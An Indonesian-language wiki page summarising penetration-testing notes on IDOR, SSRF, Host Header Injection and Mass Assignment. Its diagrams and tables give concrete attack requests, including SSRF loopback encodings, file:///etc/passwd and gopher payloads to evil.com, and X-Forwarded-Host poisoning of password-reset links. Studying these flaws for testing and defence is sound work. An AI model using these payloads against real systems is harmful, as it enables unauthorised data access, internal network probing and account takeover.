7
Kontrol Akses dan Request Server Side
Empat catatan pada halaman ini berbagi satu pola: server memakai nilai yang dikirim klien untuk menentukan sesuatu di sisi server. Pada IDOR nilai itu adalah identitas objek (id, user_id). Pada SSRF nilai itu adalah tujuan request (urlApi, url). Pada Host Header Injection nilai itu adalah header Host. Pada Mass Assignment nilai itu adalah nama field yang ikut dibaca dari body request. Insecure Direct Object References.md:3-81 Server Side Request Forgery.md:3-72 Host Header Injection.md:3-73 Mass Assignment.md:3-44
Satu pola, empat titik masuk
Diagram berikut memetakan nilai klien yang muncul di catatan ke keputusan server yang dipengaruhinya. Setiap label memakai endpoint dan parameter yang tertulis apa adanya di berkas rujukan.
graph TD
IDOR["id dan user_id pada /api/get_profile"] --> APP["Aplikasi memproses nilai klien"]
SSRF["urlApi dan url pada /api/check/products dan /image"] --> APP
HHI["Host dan X-Forwarded-Host pada /reset"] --> APP
MA["admin pada /editdata"] --> APP
APP --> D1["data user lain terbaca atau berubah"]
APP --> D2["request keluar menuju 192.168.1.1"]
APP --> D3["tautan email berisi evil-website.com"]
APP --> D4["isAdmin berubah menjadi true"]
style IDOR fill:#f59e0b,color:#000
style SSRF fill:#f59e0b,color:#000
style HHI fill:#f59e0b,color:#000
style MA fill:#f59e0b,color:#000
style APP fill:#8b5cf6,color:#fff
style D1 fill:#dc2626,color:#fff
style D2 fill:#dc2626,color:#fff
style D3 fill:#dc2626,color:#fff
style D4 fill:#dc2626,color:#fff
%% fig: Nilai klien yang menentukan keputusan server
%% desc: Empat parameter dari catatan masuk ke jalur pemrosesan yang sama, lalu menghasilkan empat dampak berbeda.Node oranye adalah input yang datang dari klien, node ungu adalah titik pemrosesan di server, dan node merah adalah dampak yang dicatat berkas rujukan.
IDOR: identitas objek yang mudah ditebak
IDOR membuat satu user dapat mengakses atau mengubah data user lain di sistem. Catatan menyarankan dua tempat pencarian: API, dan request yang memuat ID unik seperti user_id atau id Insecure Direct Object References.md:3-81. Seluruh varian di bawah bertolak dari endpoint yang sama, yaitu POST /api/get_profile atau GET /api/v1/getuser, lalu mengubah cara identitas objek dikirim.
| No | Manipulasi | Bentuk request | Rujukan |
|---|---|---|---|
| 1 | Menambah parameter ID | GET /api/v1/getuser?id=1234 | Insecure Direct Object References.md:10-225 |
| 2 | HTTP Parameter Pollution | user_id=hacker_id&user_id=victim_id | Insecure Direct Object References.md:24-316 |
| 3 | Menambah ekstensi .json | GET /v2/GetData/1234.json | Insecure Direct Object References.md:33-447 |
| 4 | Versi API lama | POST /v1/GetData dengan id=123 | Insecure Direct Object References.md:46-618 |
| 5 | ID dibungkus array | {"id":[111]} | Insecure Direct Object References.md:63-789 |
| 6 | ID dibungkus objek JSON | {"user_id":{"user_id":111}} | Insecure Direct Object References.md:80-9510 |
| 7 | JSON Parameter Pollution | {"user_id":"hacker_id","user_id":"victim_id"} | Insecure Direct Object References.md:97-10411 |
| 8 | ID hasil encoding | GET /GetUser/dmljdGltQG1haWwuY29t yang berarti [email protected] | Insecure Direct Object References.md:106-11212 |
| 9 | Endpoint GraphQL | GET /graphql dan GET /graphql.php?query= | Insecure Direct Object References.md:114-12413 |
| 10 | Missing Function Level Access Control | GET /ADMIN/profile | Insecure Direct Object References.md:126-13714 |
| 11 | UUID ditukar angka | GET /file?id=302 menggantikan ?id=90ri2-xozifke-29ikedaw0d | Insecure Direct Object References.md:139-15015 |
| 12 | Ganti HTTP method | POST /api/v1/users/profile/111 | Insecure Direct Object References.md:152-16316 |
| 13 | Path traversal pada path | GET /api/v1/users/profile/my_id/../victim_id | Insecure Direct Object References.md:165-17617 |
| 14 | Ganti Content-Type | application/xml menjadi application/json pada GET /api/v1/users/2 | Insecure Direct Object References.md:178-18918 |
| 15 | Wildcard pengganti ID | /api/users/*, /api/users/%, /api/users/_, /api/users/. | Insecure Direct Object References.md:191-21119 |
| 16 | Google dorking untuk endpoint baru | Cari endpoint yang belum terdaftar | Insecure Direct Object References.md:21320 |
Baris 10, 12, dan 15 mengubah bentuk request, bukan identitas objeknya, sehingga bersinggungan dengan halaman Teknik Bypass Kontrol. Baris 16 mengarah ke pencarian endpoint, yang dibahas di Reconnaissance dan Pemetaan Scope.
⚠️ Baris 5 dan 6 memakai nama field berbeda dari permintaan normal (
idmenggantikanuser_id). Controller yang membacaiddan controller yang membacauser_idbisa memakai pemeriksaan akses yang berbeda, jadi keduanya perlu dicoba terpisah.
SSRF: memaksa server mengirim request internal
SSRF adalah kerentanan aplikasi web yang memungkinkan penyerang membuat request keluar yang berasal dari server yang rentan Server Side Request Forgery.md:3-421. Titik temunya adalah request yang memuat URL lain. Catatan memberi dua contoh: urlApi=http://192.168.1.1%2fapi%2f&id=1 pada POST /api/check/products, dan GET /image?url=http://192.168.1.1/ Server Side Request Forgery.md:6-2322.
Perhatikan %2f pada urlApi. Path API internal ikut di-encode di dalam nilai parameter, sehingga penyerang mengirim tujuan lengkap sebagai satu nilai, bukan sebagai path request. Urutan kejadiannya digambarkan diagram berikut.
sequenceDiagram
autonumber
participant K as Klien
participant A as Aplikasi
participant I as Layanan internal
K->>A: GET /image?url=http://192.168.1.1/
A->>I: request keluar memakai nilai url
opt payload pengganti
A->>I: http://0x7f.0x0.0x0.0x1 lalu http://2130706433
end
I-->>A: response layanan internal
A-->>K: response diteruskan ke klien
%% fig: Perjalanan request SSRF dari klien ke layanan internal
%% desc: Nilai url pada parameter dipakai aplikasi sebagai tujuan request keluar, dan opsinya diisi varian encoding dari catatan.Alamat yang sama dapat ditulis dalam beberapa bentuk. Semua baris di bawah menuju loopback, hanya penulisannya yang berbeda Server Side Request Forgery.md:25-6823.
| Bentuk | Nilai | Rujukan |
|---|---|---|
| Dasar | http://127.0.0.1 dan http://localhost pada port 1337 | Server Side Request Forgery.md:26-3024 |
| Hex encoding | http://0x7f.0x0.0x0.0x1 | Server Side Request Forgery.md:32-3525 |
| Octal encoding | http://0177.0.0.01 | Server Side Request Forgery.md:37-4026 |
| Dword encoding | http://2130706433 | Server Side Request Forgery.md:42-4527 |
| Mixed encoding | http://0177.0.0.0x1 | Server Side Request Forgery.md:47-5028 |
| URL encoding | http://%6c%6f%63%61%6c%68%6f%73%74 | Server Side Request Forgery.md:52-5529 |
| IPv6 | http://0000::1 dan http://[::] pada port 1337 | Server Side Request Forgery.md:57-6130 |
| Bubble text | http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ | Server Side Request Forgery.md:63-6831 |
Selain bentuk alamat, catatan juga mendaftar URI scheme. Baris file membaca berkas lokal, sedangkan dict dan ldap menembak loopback pada port 1337 Server Side Request Forgery.md:70-9932. Baris gopher membawa payload yang dipisah %0A di dalam path /_Test%0ASSRF Server Side Request Forgery.md:101-10433.
| Skema | Tujuan | Rujukan |
|---|---|---|
file | file:///etc/passwd | Server Side Request Forgery.md:70-7434 |
dict | 127.0.0.1 pada port 1337 | Server Side Request Forgery.md:76-7935 |
ftp | 127.0.0.1 | Server Side Request Forgery.md:81-8436 |
tftp | evil.com pada port 1337 dengan path /test | Server Side Request Forgery.md:86-8937 |
sftp | evil.com pada port 1337 dengan path /test | Server Side Request Forgery.md:91-9438 |
ldap | 127.0.0.1 pada port 1337 | Server Side Request Forgery.md:96-9939 |
gopher | evil.com dengan payload /_Test%0ASSRF | Server Side Request Forgery.md:101-10433 |
⚠️ Request keluar ini tidak selalu terlihat pada response. Payload
urlApidi atas hanya menguji apakah server benar-benar melakukan request; akibat yang terlihat bergantung pada layanan internal yang dijangkau.
Host Header Injection: header Host pada tautan yang dikirim server
Host Header Injection muncul ketika server memercayai nilai header Host dan gagal memvalidasi atau meng-escape-nya, sehingga penyerang dapat menyuntikkan payload yang mengubah perilaku sisi server Host Header Injection.md:3-440. Tempat mencarinya adalah fitur yang mengirim email kepada kita, misalnya forgot password atau newsletter Host Header Injection.md:6-741. Kelima varian di bawah memakai endpoint GET /index.php sebagai contoh.
| Varian | Bentuk request | Rujukan |
|---|---|---|
Mengganti Host | Host: evil-website.com | Host Header Injection.md:10-1542 |
Menduplikasi Host | Host: vulnerable-website.com lalu Host: evil-website.com | Host Header Injection.md:16-2243 |
| Line wrapping | baris Host: diawali spasi sebelum Host: evil-website.com | Host Header Injection.md:23-2944 |
| Header override | X-Forwarded-For, X-Forwarded-Host, X-Client-IP, X-Remote-IP, X-Remote-Addr, X-Host | Host Header Injection.md:30-4545 |
| Absolute URL | GET https://vulnerable-website.com/ dengan Host: evil-website.com | Host Header Injection.md:46-5146 |
Empat header pertama pada baris override di atas berlaku sebagai pengganti Host. Catatan memakai X-Forwarded-For : evil-website.com bersama Host: vulnerable-website.com sebagai contoh pemakaiannya. Alur dampaknya pada fitur reset password digambarkan diagram berikut.
graph LR
R["POST /reset dengan email korban"] --> H["Server membaca Host dan X-Forwarded-Host"]
H --> M["tautan reset disusun dari nilai header"]
M --> V["korban menerima email berisi evil.com"]
V --> A["korban membuka domain penyerang"]
style H fill:#f59e0b,color:#000
style M fill:#8b5cf6,color:#fff
style V fill:#dc2626,color:#fff
style A fill:#dc2626,color:#fff
%% fig: Header Host mengubah tautan reset yang dikirim ke korban
%% desc: Nilai header dibaca saat menyusun tautan, sehingga email korban memuat domain penyerang.Pada Checklist/Forgot Password.md, request POST /reset dengan [email protected] diubah dengan menambahkan X-Forwarded-Host: evil.com, dan korban menerima tautan reset yang memakai evil.com Checklist/Forgot Password.md:25-4247. Sisi token dan sesi dari alur reset dibahas di halaman Otentikasi, Sesi, dan Token.
Mass Assignment: field tersembunyi yang dapat ditimpa
Mass Assignment terjadi ketika aplikasi membiarkan user menambahkan parameter sendiri pada HTTP request, lalu memproses nilai parameter itu sehingga memengaruhi response yang dikembalikan. Catatan menyebut Ruby on Rails dan NodeJS sebagai tempat yang sering mengalaminya Mass Assignment.md:3-44.
Endpoint contohnya POST /editdata. Perhatikan bahwa parameter yang dikirim adalah admin, sedangkan field yang berubah pada response adalah isAdmin Mass Assignment.md:6-3748.
| Langkah | Body request | Response | Rujukan |
|---|---|---|---|
| Normal | username=daffa | {"status":"success","username":"daffainfo","isAdmin":"false"} | Mass Assignment.md:7-2149 |
| Ditimpa | username=daffa&admin=true | {"status":"success","username":"daffainfo","isAdmin":"true"} | Mass Assignment.md:23-3750 |
⚠️ Nama parameter request dan nama field response berbeda (
adminversusisAdmin). Penyerang harus menebak nama field internal, jadi daftar field dari response normal adalah titik awal, bukan daftar lengkap yang boleh dicoba.
Status response tetap success pada kedua langkah, sehingga satu-satunya penanda perubahan adalah nilai isAdmin yang bergeser dari false menjadi true. Pola ini menutup halaman: server memperlakukan nilai klien sebagai keputusan, baik untuk memilih objek, memilih tujuan request, menyusun tautan, maupun menyimpan field.